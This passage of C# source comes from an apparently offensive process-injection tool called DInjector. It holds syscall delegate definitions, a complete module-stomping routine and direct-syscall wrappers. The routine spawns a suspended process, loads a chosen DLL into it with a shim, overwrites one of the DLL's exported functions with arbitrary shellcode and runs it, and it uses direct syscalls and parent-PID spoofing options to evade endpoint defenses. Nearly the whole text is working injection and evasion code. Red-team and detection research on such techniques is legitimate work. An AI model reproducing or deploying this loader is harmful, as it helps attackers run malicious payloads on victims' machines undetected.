IntPtr ProcessHandle, 30 | IntPtr BaseAddress, 31 | IntPtr Buffer, 32 | uint BufferLength, 33 | ref uint BytesWritten); 34 | 35 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 36 | public delegate NTSTATUS NtProtectVirtualMemory( 37 | IntPtr ProcessHandle, 38 | ref IntPtr BaseAddress, 39 | ref IntPtr RegionSize, 40 | uint NewProtect, 41 | ref uint OldProtect); 42 | 43 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 44 | public delegate NTSTATUS NtCreateThreadEx( 45 | ref IntPtr threadHandle, 46 | DI.Data.Win32.WinNT.ACCESS_MASK desiredAccess, 47 | IntPtr objectAttributes, 48 | IntPtr processHandle, 49 | IntPtr startAddress, 50 | IntPtr parameter, 51 | bool createSuspended, 52 | int stackZeroBits, 53 | int sizeOfStack, 54 | int maximumStackSize, 55 | IntPtr attributeList); 56 | 57 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 58 | public delegate NTSTATUS NtWaitForSingleObject( 59 | IntPtr ObjectHandle, 60 | bool Alertable, 61 | uint Timeout); 62 | 63 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 64 | public delegate NTSTATUS NtFreeVirtualMemory( 65 | IntPtr processHandle, 66 | ref IntPtr baseAddress, 67 | ref IntPtr regionSize, 68 | uint freeType); 69 | 70 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 71 | public delegate NTSTATUS NtFlushInstructionCache( 72 | IntPtr ProcessHandle, 73 | ref IntPtr BaseAddress, 74 | uint NumberOfBytesToFlush); 75 | 76 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 77 | public delegate NTSTATUS NtQueryInformationProcess( 78 | IntPtr ProcessHandle, 79 | PROCESSINFOCLASS ProcessInformationClass, 80 | ref PROCESS_BASIC_INFORMATION ProcessInformation, 81 | uint ProcessInformationLength, 82 | ref uint ReturnLength); 83 | 84 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 85 | public delegate NTSTATUS NtReadVirtualMemory( 86 | IntPtr ProcessHandle, 87 | IntPtr BaseAddress, 88 | IntPtr Buffer, 89 | uint NumberOfBytesToRead, 90 | ref uint NumberOfBytesReaded); 91 | 92 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 93 | public delegate NTSTATUS NtResumeThread( 94 | IntPtr ThreadHandle, 95 | ref uint SuspendCount); 96 | 97 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 98 | public delegate NTSTATUS NtOpenThread( 99 | ref IntPtr ThreadHandle, 100 | DI.Data.Win32.Kernel32.ThreadAccess dwDesiredAccess, 101 | ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, 102 | ref Win32.CLIENT_ID ClientId); 103 | 104 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 105 | public delegate NTSTATUS NtQueueApcThread( 106 | IntPtr ThreadHandle, 107 | IntPtr ApcRoutine, 108 | IntPtr ApcArgument1, 109 | IntPtr ApcArgument2, 110 | IntPtr ApcArgument3); 111 | 112 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 113 | public delegate NTSTATUS NtAlertResumeThread( 114 | IntPtr ThreadHandle, 115 | ref uint SuspendCount); 116 | 117 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 118 | public delegate NTSTATUS NtGetContextThread( 119 | IntPtr hThread, 120 | ref Registers.CONTEXT64 lpContext); 121 | 122 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 123 | public delegate NTSTATUS NtSetContextThread( 124 | IntPtr hThread, 125 | ref Registers.CONTEXT64 lpContext); 126 | 127 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 128 | public delegate NTSTATUS NtCreateSection( 129 | ref IntPtr SectionHandle, 130 | DI.Data.Win32.WinNT.ACCESS_MASK DesiredAccess, 131 | IntPtr ObjectAttributes, 132 | ref UInt32 MaximumSize, 133 | UInt32 SectionPageProtection, 134 | UInt32 AllocationAttributes, 135 | IntPtr FileHandle); 136 | 137 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 138 | public delegate NTSTATUS NtMapViewOfSection( 139 | IntPtr SectionHandle, 140 | IntPtr ProcessHandle, 141 | ref IntPtr BaseAddress, 142 | UIntPtr ZeroBits, 143 | UIntPtr CommitSize, 144 | ref ulong SectionOffset, 145 | ref uint ViewSize, 146 | uint InheritDisposition, 147 | uint AllocationType, 148 | uint Win32Protect); 149 | 150 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 151 | public delegate NTSTATUS RtlCreateUserThread( 152 | IntPtr ProcessHandle, 153 | IntPtr ThreadSecurity, 154 | bool CreateSuspended, 155 | Int32 StackZeroBits, 156 | IntPtr StackReserved, 157 | IntPtr StackCommit, 158 | IntPtr StartAddress, 159 | IntPtr Parameter, 160 | ref IntPtr ThreadHandle, 161 | IntPtr ClientId); 162 | 163 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 164 | public delegate NTSTATUS NtUnmapViewOfSection( 165 | IntPtr ProcessHandle, 166 | IntPtr BaseAddress); 167 | 168 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 169 | public delegate NTSTATUS NtClose(IntPtr ObjectHandle); 170 | 171 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 172 | public delegate bool InitializeProcThreadAttributeList( 173 | IntPtr lpAttributeList, 174 | int dwAttributeCount, 175 | int dwFlags, 176 | ref IntPtr lpSize); 177 | 178 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 179 | public delegate bool UpdateProcThreadAttribute( 180 | IntPtr lpAttributeList, 181 | uint dwFlags, 182 | IntPtr attribute, 183 | IntPtr lpValue, 184 | IntPtr cbSize, 185 | IntPtr lpPreviousValue, 186 | IntPtr lpReturnSize); 187 | 188 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 189 | public delegate bool DeleteProcThreadAttributeList( 190 | IntPtr lpAttributeList); 191 | 192 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 193 | public delegate bool CreateProcessA( 194 | string lpApplicationName, 195 | string lpCommandLine, 196 | ref DI.Data.Win32.WinBase.SECURITY_ATTRIBUTES lpProcessAttributes, 197 | ref DI.Data.Win32.WinBase.SECURITY_ATTRIBUTES lpThreadAttributes, 198 | bool bInheritHandles, 199 | uint dwCreationFlags, 200 | IntPtr lpEnvironment, 201 | string lpCurrentDirectory, 202 | ref DI.Data.Win32.ProcessThreadsAPI._STARTUPINFOEX lpStartupInfoEx, 203 | out DI.Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation); 204 | 205 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 206 | public delegate bool GetModuleInformation( 207 | IntPtr hProcess, 208 | IntPtr hModule, 209 | out Win32.MODULEINFO lpmodinfo, 210 | uint cb); 211 | 212 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 213 | public delegate bool VirtualProtect( 214 | IntPtr lpAddress, 215 | UIntPtr dwSize, 216 | uint flNewProtect, 217 | out uint lpflOldProtect); 218 | 219 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 220 | public delegate uint WaitForSingleObject( 221 | IntPtr hHandle, 222 | uint dwMilliseconds); 223 | 224 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 225 | public delegate void CopyMemory( 226 | IntPtr destination, 227 | IntPtr source, 228 | uint length); 229 | 230 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 231 | public delegate bool OpenClipboard(IntPtr hWndNewOwner); 232 | 233 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 234 | public delegate IntPtr SetClipboardData( 235 | uint uFormat, 236 | byte[] hMem); 237 | 238 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 239 | public delegate bool CloseClipboard(); 240 | 241 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 242 | public delegate IntPtr HeapCreate( 243 | uint flOptions, 244 | UIntPtr dwInitialSize, 245 | UIntPtr dwMaximumSize); 246 | 247 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 248 | public delegate IntPtr UuidFromStringA( 249 | string stringUuid, 250 | IntPtr heapPointer); 251 | 252 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 253 | public delegate bool EnumSystemLocalesA( 254 | IntPtr lpLocaleEnumProc, 255 | int dwFlags); 256 | 257 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 258 | public delegate bool EnumTimeFormatsEx( 259 | IntPtr lpTimeFmtEnumProcEx, 260 | IntPtr lpLocaleName, 261 | uint dwFlags, 262 | uint lParam); 263 | 264 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 265 | public delegate uint WaitForInputIdle( 266 | IntPtr hProcess, 267 | uint dwMilliseconds); 268 | 269 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 270 | public delegate IntPtr FindWindowExA( 271 | IntPtr parentHandle, 272 | IntPtr hWndChildAfter, 273 | string className, 274 | string windowTitle); 275 | 276 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 277 | public delegate IntPtr SendMessageA( 278 | IntPtr hWnd, 279 | uint Msg, 280 | IntPtr wParam, 281 | ref Win32.COPYDATASTRUCT lParam); 282 | } 283 | } 284 | -------------------------------------------------------------------------------- /DInjector/Modules/ModuleStomping.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Diagnostics; 5 | using System.Runtime.InteropServices; 6 | 7 | using DI = DInvoke; 8 | using static DInvoke.Data.Native; 9 | 10 | namespace DInjector 11 | { 12 | /// 13 | /// Stolen from: 14 | /// https://offensivedefence.co.uk/posts/module-stomping/ 15 | /// https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs 16 | /// 17 | public class ModuleStomping 18 | { 19 | static byte[] GenerateShim(long loadLibraryExP) 20 | { 21 | using var ms = new MemoryStream(); 22 | using var bw = new BinaryWriter(ms); 23 | 24 | bw.Write((ulong)loadLibraryExP); 25 | var loadLibraryExBytes = ms.ToArray(); 26 | 27 | return new byte[] { 28 | 0x48, 0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3], loadLibraryExBytes[4], loadLibraryExBytes[5], loadLibraryExBytes[6],loadLibraryExBytes[7], 29 | 0x49, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 30 | 0x48, 0x31, 0xD2, 31 | 0xFF, 0xE0 32 | }; 33 | } 34 | 35 | public static void Execute(byte[] shellcode, string processImage, string moduleName, string exportName, int ppid = 0, bool blockDlls = false, bool am51 = false, bool debug = false) 36 | { 37 | #region CreateProcessA 38 | 39 | var pi = SpawnProcess.Execute( 40 | processImage, 41 | @"C:\Windows\System32", 42 | suspended: true, 43 | ppid: ppid, 44 | blockDlls: blockDlls, 45 | am51: am51); 46 | 47 | #endregion 48 | 49 | #region GenerateShim 50 | 51 | var kernel32 = DI.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll"); 52 | var loadLibraryEx = DI.DynamicInvoke.Generic.GetExportAddress(kernel32, "LoadLibraryExA"); 53 | 54 | var shim = GenerateShim((long)loadLibraryEx); 55 | var bModuleName = Encoding.ASCII.GetBytes(moduleName); 56 | 57 | #endregion 58 | 59 | #region NtAllocateVirtualMemory (bModuleNameLength, PAGE_READWRITE) 60 | 61 | IntPtr hProcess = pi.hProcess; 62 | var allocModule = IntPtr.Zero; 63 | var regionSize = new IntPtr(bModuleName.Length + 2); 64 | 65 | var ntstatus = Syscalls.NtAllocateVirtualMemory( 66 | hProcess, 67 | ref allocModule, 68 | IntPtr.Zero, 69 | ref regionSize, 70 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 71 | DI.Data.Win32.WinNT.PAGE_READWRITE); 72 | 73 | if (ntstatus == NTSTATUS.Success) 74 | Console.WriteLine("(ModuleStomping) [+] NtAllocateVirtualMemory (bModuleNameLength), PAGE_READWRITE"); 75 | else 76 | throw new Exception($"(ModuleStomping) [-] NtAllocateVirtualMemory (bModuleNameLength), PAGE_READWRITE: {ntstatus}"); 77 | 78 | #endregion 79 | 80 | #region NtAllocateVirtualMemory (shimLength, PAGE_READWRITE) 81 | 82 | var allocShim = IntPtr.Zero; 83 | regionSize = new IntPtr(shim.Length); 84 | 85 | ntstatus = Syscalls.NtAllocateVirtualMemory( 86 | hProcess, 87 | ref allocShim, 88 | IntPtr.Zero, 89 | ref regionSize, 90 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 91 | DI.Data.Win32.WinNT.PAGE_READWRITE); 92 | 93 | if (ntstatus == NTSTATUS.Success) 94 | Console.WriteLine("(ModuleStomping) [+] NtAllocateVirtualMemory (shimLength), PAGE_READWRITE"); 95 | else 96 | throw new Exception($"(ModuleStomping) [-] NtAllocateVirtualMemory (shimLength), PAGE_READWRITE: {ntstatus}"); 97 | 98 | #endregion 99 | 100 | #region NtWriteVirtualMemory (bModuleName) 101 | 102 | var buffer = Marshal.AllocHGlobal(bModuleName.Length); 103 | Marshal.Copy(bModuleName, 0, buffer, bModuleName.Length); 104 | 105 | uint bytesWritten = 0; 106 | 107 | ntstatus = Syscalls.NtWriteVirtualMemory( 108 | hProcess, 109 | allocModule, 110 | buffer, 111 | (uint)bModuleName.Length, 112 | ref bytesWritten); 113 | 114 | if (ntstatus == NTSTATUS.Success) 115 | Console.WriteLine("(ModuleStomping) [+] NtWriteVirtualMemory (bModuleName)"); 116 | else 117 | throw new Exception($"(ModuleStomping) [-] NtWriteVirtualMemory (bModuleName): {ntstatus}"); 118 | 119 | Marshal.FreeHGlobal(buffer); 120 | 121 | #endregion 122 | 123 | #region NtWriteVirtualMemory (shim) 124 | 125 | buffer = Marshal.AllocHGlobal(shim.Length); 126 | Marshal.Copy(shim, 0, buffer, shim.Length); 127 | 128 | bytesWritten = 0; 129 | 130 | ntstatus = Syscalls.NtWriteVirtualMemory( 131 | hProcess, 132 | allocShim, 133 | buffer, 134 | (uint)shim.Length, 135 | ref bytesWritten); 136 | 137 | if (ntstatus == NTSTATUS.Success) 138 | Console.WriteLine("(ModuleStomping) [+] NtWriteVirtualMemory (shim)"); 139 | else 140 | throw new Exception($"(ModuleStomping) [-] NtWriteVirtualMemory (shim): {ntstatus}"); 141 | 142 | Marshal.FreeHGlobal(buffer); 143 | 144 | #endregion 145 | 146 | #region NtProtectVirtualMemory (shim, PAGE_EXECUTE_READ) 147 | 148 | IntPtr protectAddress = allocShim; 149 | regionSize = new IntPtr(shim.Length); 150 | uint oldProtect = 0; 151 | 152 | ntstatus = Syscalls.NtProtectVirtualMemory( 153 | hProcess, 154 | ref protectAddress, 155 | ref regionSize, 156 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 157 | ref oldProtect); 158 | 159 | if (ntstatus == NTSTATUS.Success) 160 | Console.WriteLine("(ModuleStomping) [+] NtProtectVirtualMemory (shim), PAGE_EXECUTE_READ"); 161 | else 162 | throw new Exception($"(ModuleStomping) [-] NtProtectVirtualMemory (shim), PAGE_EXECUTE_READ: {ntstatus}"); 163 | 164 | #endregion 165 | 166 | #region NtCreateThreadEx (shim) 167 | 168 | IntPtr hThread = IntPtr.Zero; 169 | 170 | ntstatus = Syscalls.NtCreateThreadEx( 171 | ref hThread, 172 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 173 | IntPtr.Zero, 174 | hProcess, 175 | allocShim, 176 | allocModule, 177 | false, 178 | 0, 179 | 0, 180 | 0, 181 | IntPtr.Zero); 182 | 183 | if (ntstatus == NTSTATUS.Success) 184 | Console.WriteLine("(ModuleStomping) [+] NtCreateThreadEx (shim)"); 185 | else 186 | throw new Exception($"(ModuleStomping) [-] NtCreateThreadEx (shim): {ntstatus}"); 187 | 188 | #endregion 189 | 190 | #region NtWaitForSingleObject 191 | 192 | ntstatus = Syscalls.NtWaitForSingleObject( 193 | hThread, 194 | false, 195 | 0); 196 | 197 | if (ntstatus == NTSTATUS.Success) 198 | Console.WriteLine("(ModuleStomping) [+] NtWaitForSingleObject"); 199 | else 200 | throw new Exception($"(ModuleStomping) [-] NtWaitForSingleObject: {ntstatus}"); 201 | 202 | #endregion 203 | 204 | #region NtFreeVirtualMemory (allocModule) 205 | 206 | regionSize = new IntPtr(bModuleName.Length + 2); 207 | 208 | ntstatus = Syscalls.NtFreeVirtualMemory( 209 | hProcess, 210 | ref allocModule, 211 | ref regionSize, 212 | DI.Data.Win32.Kernel32.MEM_RELEASE); 213 | 214 | if (ntstatus == NTSTATUS.Success) 215 | Console.WriteLine("(ModuleStomping) [+] NtFreeVirtualMemory (allocModule)"); 216 | else 217 | throw new Exception($"(ModuleStomping) [-] NtFreeVirtualMemory (allocModule): {ntstatus}"); 218 | 219 | #endregion 220 | 221 | #region NtFreeVirtualMemory (allocShim) 222 | 223 | regionSize = new IntPtr(shim.Length); 224 | 225 | ntstatus = Syscalls.NtFreeVirtualMemory( 226 | hProcess, 227 | ref allocShim, 228 | ref regionSize, 229 | DI.Data.Win32.Kernel32.MEM_RELEASE); 230 | 231 | if (ntstatus == NTSTATUS.Success) 232 | Console.WriteLine("(ModuleStomping) [+] NtFreeVirtualMemory (allocShim)"); 233 | else 234 | throw new Exception($"(ModuleStomping) [-] NtFreeVirtualMemory (allocShim): {ntstatus}"); 235 | 236 | #endregion 237 | 238 | Syscalls.NtClose(hThread); 239 | 240 | #region Find targetAddress 241 | 242 | var hModule = DI.DynamicInvoke.Generic.LoadModuleFromDisk(moduleName); 243 | var export = DI.DynamicInvoke.Generic.GetExportAddress(hModule, exportName); 244 | var offset = (long)export - (long)hModule; 245 | 246 | var targetAddress = IntPtr.Zero; 247 | using var process = Process.GetProcessById((int)pi.dwProcessId); 248 | 249 | foreach (ProcessModule module in process.Modules) 250 | { 251 | if (!module.ModuleName.Equals(moduleName, StringComparison.OrdinalIgnoreCase)) continue; 252 | 253 | targetAddress = new IntPtr((long)module.BaseAddress + offset); 254 | break; 255 | } 256 | 257 | #endregion 258 | 259 | #region NtProtectVirtualMemory (shellcode, PAGE_READWRITE) 260 | 261 | protectAddress = targetAddress; 262 | regionSize = new IntPtr(shellcode.Length); 263 | oldProtect = 0; 264 | 265 | ntstatus = Syscalls.NtProtectVirtualMemory( 266 | hProcess, 267 | ref protectAddress, 268 | ref regionSize, 269 | DI.Data.Win32.WinNT.PAGE_READWRITE, 270 | ref oldProtect); 271 | 272 | if (ntstatus == NTSTATUS.Success) 273 | Console.WriteLine("(ModuleStomping) [+] NtProtectVirtualMemory (shellcode), PAGE_READWRITE"); 274 | else 275 | throw new Exception($"(ModuleStomping) [-] NtProtectVirtualMemory (shellcode), PAGE_READWRITE: {ntstatus}"); 276 | 277 | #endregion 278 | 279 | #region NtWriteVirtualMemory (shellcode) 280 | 281 | buffer = Marshal.AllocHGlobal(shellcode.Length); 282 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 283 | 284 | bytesWritten = 0; 285 | 286 | ntstatus = Syscalls.NtWriteVirtualMemory( 287 | hProcess, 288 | targetAddress, 289 | buffer, 290 | (uint)shellcode.Length, 291 | ref bytesWritten); 292 | 293 | if (ntstatus == NTSTATUS.Success) 294 | Console.WriteLine("(ModuleStomping) [+] NtWriteVirtualMemory (shellcode)"); 295 | else 296 | throw new Exception($"(ModuleStomping) [-] NtWriteVirtualMemory (shellcode): {ntstatus}"); 297 | 298 | Marshal.FreeHGlobal(buffer); 299 | 300 | #endregion 301 | 302 | #region NtProtectVirtualMemory (shellcode, PAGE_EXECUTE_READ) 303 | 304 | protectAddress = targetAddress; 305 | oldProtect = 0; 306 | 307 | ntstatus = Syscalls.NtProtectVirtualMemory( 308 | hProcess, 309 | ref protectAddress, 310 | ref regionSize, 311 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 312 | ref oldProtect); 313 | 314 | if (ntstatus == NTSTATUS.Success) 315 | Console.WriteLine("(ModuleStomping) [+] NtProtectVirtualMemory (shellcode), PAGE_EXECUTE_READ"); 316 | else 317 | throw new Exception($"(ModuleStomping) [-] NtProtectVirtualMemory (shellcode), PAGE_EXECUTE_READ: {ntstatus}"); 318 | 319 | #endregion 320 | 321 | #region NtCreateThreadEx (shellcode) 322 | 323 | hThread = IntPtr.Zero; 324 | 325 | ntstatus = Syscalls.NtCreateThreadEx( 326 | ref hThread, 327 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 328 | IntPtr.Zero, 329 | hProcess, 330 | targetAddress, 331 | IntPtr.Zero, 332 | false, 333 | 0, 334 | 0, 335 | 0, 336 | IntPtr.Zero); 337 | 338 | if (ntstatus == NTSTATUS.Success) 339 | Console.WriteLine("(ModuleStomping) [+] NtCreateThreadEx (shellcode)"); 340 | else 341 | throw new Exception($"(ModuleStomping) [-] NtCreateThreadEx (shellcode): {ntstatus}"); 342 | 343 | #endregion 344 | 345 | Syscalls.NtClose(hThread); 346 | Syscalls.NtClose(hProcess); 347 | } 348 | } 349 | } 350 | -------------------------------------------------------------------------------- /DInjector/API/Syscalls.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | using static DInvoke.Data.Native; 7 | using static DInvoke.DynamicInvoke.Generic; 8 | 9 | namespace DInjector 10 | { 11 | class Syscalls 12 | { 13 | public static NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, DI.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess, ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, ref Win32.CLIENT_ID ClientId) 14 | { 15 | IntPtr stub = GetSyscallStub("ZwOpenProcess"); 16 | Delegates.NtOpenProcess ntOpenProcess = (Delegates.NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtOpenProcess)); 17 | 18 | return ntOpenProcess( 19 | ref ProcessHandle, 20 | DesiredAccess, 21 | ref ObjectAttributes, 22 | ref ClientId); 23 | } 24 | 25 | public static NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect) 26 | { 27 | IntPtr stub = GetSyscallStub("ZwAllocateVirtualMemory"); 28 | Delegates.NtAllocateVirtualMemory ntAllocateVirtualMemory = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtAllocateVirtualMemory)); 29 | 30 | if (ProcessHandle == IntPtr.Zero) 31 | return ntAllocateVirtualMemory( 32 | Process.GetCurrentProcess().Handle, 33 | ref BaseAddress, 34 | ZeroBits, 35 | ref RegionSize, 36 | AllocationType, 37 | Protect); 38 | 39 | return ntAllocateVirtualMemory( 40 | ProcessHandle, 41 | ref BaseAddress, 42 | ZeroBits, 43 | ref RegionSize, 44 | AllocationType, 45 | Protect); 46 | } 47 | 48 | public static NTSTATUS NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten) 49 | { 50 | IntPtr stub = GetSyscallStub("ZwWriteVirtualMemory"); 51 | Delegates.NtWriteVirtualMemory ntWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtWriteVirtualMemory)); 52 | 53 | return ntWriteVirtualMemory( 54 | ProcessHandle, 55 | BaseAddress, 56 | Buffer, 57 | BufferLength, 58 | ref BytesWritten); 59 | } 60 | 61 | public static NTSTATUS NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect) 62 | { 63 | IntPtr stub = GetSyscallStub("ZwProtectVirtualMemory"); 64 | Delegates.NtProtectVirtualMemory ntProtectVirtualMemory = (Delegates.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtProtectVirtualMemory)); 65 | 66 | if (ProcessHandle == IntPtr.Zero) 67 | return ntProtectVirtualMemory( 68 | Process.GetCurrentProcess().Handle, 69 | ref BaseAddress, 70 | ref RegionSize, 71 | NewProtect, 72 | ref OldProtect); 73 | 74 | return ntProtectVirtualMemory( 75 | ProcessHandle, 76 | ref BaseAddress, 77 | ref RegionSize, 78 | NewProtect, 79 | ref OldProtect); 80 | } 81 | 82 | public static NTSTATUS NtCreateThreadEx(ref IntPtr threadHandle, DI.Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList) 83 | { 84 | IntPtr stub = GetSyscallStub("ZwCreateThreadEx"); 85 | Delegates.NtCreateThreadEx ntCreateThreadEx = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtCreateThreadEx)); 86 | 87 | if (processHandle == IntPtr.Zero) 88 | return ntCreateThreadEx( 89 | ref threadHandle, 90 | desiredAccess, 91 | objectAttributes, 92 | Process.GetCurrentProcess().Handle, 93 | startAddress, 94 | parameter, 95 | createSuspended, 96 | stackZeroBits, 97 | sizeOfStack, 98 | maximumStackSize, 99 | attributeList); 100 | 101 | return ntCreateThreadEx( 102 | ref threadHandle, 103 | desiredAccess, 104 | objectAttributes, 105 | processHandle, 106 | startAddress, 107 | parameter, 108 | createSuspended, 109 | stackZeroBits, 110 | sizeOfStack, 111 | maximumStackSize, 112 | attributeList); 113 | } 114 | 115 | public static NTSTATUS NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, uint Timeout) 116 | { 117 | IntPtr stub = GetSyscallStub("NtWaitForSingleObject"); 118 | Delegates.NtWaitForSingleObject ntWaitForSingleObject = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtWaitForSingleObject)); 119 | 120 | return ntWaitForSingleObject( 121 | ObjectHandle, 122 | Alertable, 123 | Timeout); 124 | } 125 | 126 | public static NTSTATUS NtFreeVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint freeType) 127 | { 128 | IntPtr stub = GetSyscallStub("ZwFreeVirtualMemory"); 129 | Delegates.NtFreeVirtualMemory ntFreeVirtualMemory = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtFreeVirtualMemory)); 130 | 131 | if (processHandle == IntPtr.Zero) 132 | return ntFreeVirtualMemory( 133 | Process.GetCurrentProcess().Handle, 134 | ref baseAddress, 135 | ref regionSize, 136 | freeType); 137 | 138 | return ntFreeVirtualMemory( 139 | processHandle, 140 | ref baseAddress, 141 | ref regionSize, 142 | freeType); 143 | } 144 | 145 | public static NTSTATUS NtFlushInstructionCache(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint NumberOfBytesToFlush) 146 | { 147 | IntPtr stub = GetSyscallStub("ZwFlushInstructionCache"); 148 | Delegates.NtFlushInstructionCache ntFlushInstructionCache = (Delegates.NtFlushInstructionCache)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtFlushInstructionCache)); 149 | 150 | if (ProcessHandle == IntPtr.Zero) 151 | return ntFlushInstructionCache( 152 | Process.GetCurrentProcess().Handle, 153 | ref BaseAddress, 154 | NumberOfBytesToFlush); 155 | 156 | return ntFlushInstructionCache( 157 | ProcessHandle, 158 | ref BaseAddress, 159 | NumberOfBytesToFlush); 160 | } 161 | 162 | public static NTSTATUS NtQueryInformationProcess(IntPtr ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, uint ProcessInformationLength, ref uint ReturnLength) 163 | { 164 | IntPtr stub = GetSyscallStub("ZwQueryInformationProcess"); 165 | Delegates.NtQueryInformationProcess ntQueryInformationProcess = (Delegates.NtQueryInformationProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtQueryInformationProcess)); 166 | 167 | return ntQueryInformationProcess( 168 | ProcessHandle, 169 | ProcessInformationClass, 170 | ref ProcessInformation, 171 | ProcessInformationLength, 172 | ref ReturnLength); 173 | } 174 | 175 | public static NTSTATUS NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint NumberOfBytesToRead, ref uint NumberOfBytesReaded) 176 | { 177 | IntPtr stub = GetSyscallStub("ZwReadVirtualMemory"); 178 | Delegates.NtReadVirtualMemory ntReadVirtualMemory = (Delegates.NtReadVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtReadVirtualMemory)); 179 | 180 | return ntReadVirtualMemory( 181 | ProcessHandle, 182 | BaseAddress, 183 | Buffer, 184 | NumberOfBytesToRead, 185 | ref NumberOfBytesReaded); 186 | } 187 | 188 | public static NTSTATUS NtResumeThread(IntPtr ThreadHandle, ref uint SuspendCount) 189 | { 190 | IntPtr stub = GetSyscallStub("ZwResumeThread"); 191 | Delegates.NtResumeThread ntResumeThread = (Delegates.NtResumeThread)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtResumeThread)); 192 | 193 | return ntResumeThread( 194 | ThreadHandle, 195 | ref SuspendCount); 196 | } 197 | 198 | public static NTSTATUS NtOpenThread(ref IntPtr ThreadHandle, DI.Data.Win32.Kernel32.ThreadAccess dwDesiredAccess, ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, ref Win32.CLIENT_ID ClientId) 199 | { 200 | IntPtr stub = GetSyscallStub("ZwOpenThread"); 201 | Delegates.NtOpenThread ntOpenThread = (Delegates.NtOpenThread)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtOpenThread)); 202 | 203 | return ntOpenThread( 